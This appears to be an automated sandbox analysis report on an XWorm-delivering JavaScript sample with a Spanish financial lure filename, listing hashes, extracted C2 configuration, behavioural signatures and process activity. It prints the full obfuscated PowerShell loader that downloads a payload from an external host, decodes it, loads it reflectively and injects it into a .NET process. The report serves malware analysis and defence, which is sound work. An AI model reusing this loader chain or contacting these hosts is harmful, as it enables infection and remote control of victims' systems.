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Analysis
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max time kernel
114s -
max time network
171s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22/01/2025, 12:23
Static task
static1
Behavioral task
behavioral1
Sample
PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js
Resource
win7-20240903-en
General
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Target
PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js
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Size
164KB
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MD5
730bef083fbd8b608106a9c34c98cdc1
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SHA1
4c8d3440733b2975d1c9a823df735cd11a3351a7
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SHA256
37c427cb456a7fadc42fdcca721a2e24c7f6a43892870b6683bf4bf83ba4f52c
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SHA512
1a4638ccc02d2774377a114c99fa3bf1e2e6790ae6c4c3ef35dc4d7ee146e4201f51c765d49c2ee3ecff3cef7f79ccdd1937bf479c3380da9e6b8276384e477c
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SSDEEP
1536:OWa831+p9/3zJ7WkAZexE7EnhqOWxK4YEYL734izQ6VzYfA75CKPd6BBPWa4pmGu:OWr31O9rtWKXVueEG7LzQ6VYAln2
Malware Config
Extracted
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
Extracted
xworm
5.0
87.120.116.179:1300
bCXBALbPlXwHNISd
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/912-25-0x0000000000400000-0x0000000000410000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 6 IoCs
flow pid Process 4 804 wscript.exe 7 804 wscript.exe 14 804 wscript.exe 16 804 wscript.exe 20 3300 powershell.exe 47 3300 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 3300 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3300 set thread context of 912 3300 powershell.exe 100 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aspnet_regbrowsers.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3300 powershell.exe 3300 powershell.exe 912 aspnet_regbrowsers.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3300 powershell.exe Token: SeDebugPrivilege 912 aspnet_regbrowsers.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 912 aspnet_regbrowsers.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 804 wrote to memory of 3300 804 wscript.exe 83 PID 804 wrote to memory of 3300 804 wscript.exe 83 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100 PID 3300 wrote to memory of 912 3300 powershell.exe 100
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.saalF/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$fbPZicdpPLnNokLpLUUk = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$TuqGZoLcamOGIZZbRqKW = New-Object System.Net.WebClient;$WmpcoGKttRcdWLlKWOap = $TuqGZoLcamOGIZZbRqKW.DownloadData($fbPZicdpPLnNokLpLUUk);$cmNLWWGRiiJekGiZcLuk = [System.Text.Encoding]::UTF8.GetString($WmpcoGKttRcdWLlKWOap);$fpWRJWOTLKpKHbtnhiWW = '<<BASE64_START>>';$LUsnnSLKZLWRGHpeWhGj = '<<BASE64_END>>';$eChubkKfbGczPWskKNoL = $cmNLWWGRiiJekGiZcLuk.IndexOf($fpWRJWOTLKpKHbtnhiWW);$nKGLnWLPShqiGxnKZAnW = $cmNLWWGRiiJekGiZcLuk.IndexOf($LUsnnSLKZLWRGHpeWhGj);$eChubkKfbGczPWskKNoL -ge 0 -and $nKGLnWLPShqiGxnKZAnW -gt $eChubkKfbGczPWskKNoL;$eChubkKfbGczPWskKNoL += $fpWRJWOTLKpKHbtnhiWW.Length;$WWLsUZLpUcPmPGCLevKv = $nKGLnWLPShqiGxnKZAnW - $eChubkKfbGczPWskKNoL;$UlvqpiOWbKKZSWNeqbio = $cmNLWWGRiiJekGiZcLuk.Substring($eChubkKfbGczPWskKNoL, $WWLsUZLpUcPmPGCLevKv);$TdLuWlUmfWiLJdmqLLUO = -join ($UlvqpiOWbKKZSWNeqbio.ToCharArray() | ForEach-Object { $_ })[-1..-($UlvqpiOWbKKZSWNeqbio.Length)];$BiikSJUeSKARkKpcNKQW = [System.Convert]::FromBase64String($TdLuWlUmfWiLJdmqLLUO);$LBtKfieNpLWkpLoIoToG = [System.Reflection.Assembly]::Load($BiikSJUeSKARkKpcNKQW);$UcUKdWGZiocUWLqWcobb = [dnlib.IO.Home].GetMethod('VAI');$UcUKdWGZiocUWLqWcobb.Invoke($null, @($restoredText, 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'aspnet_regbrowsers', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','1','dSbCbiJheWuWALuLWWam','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:912
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82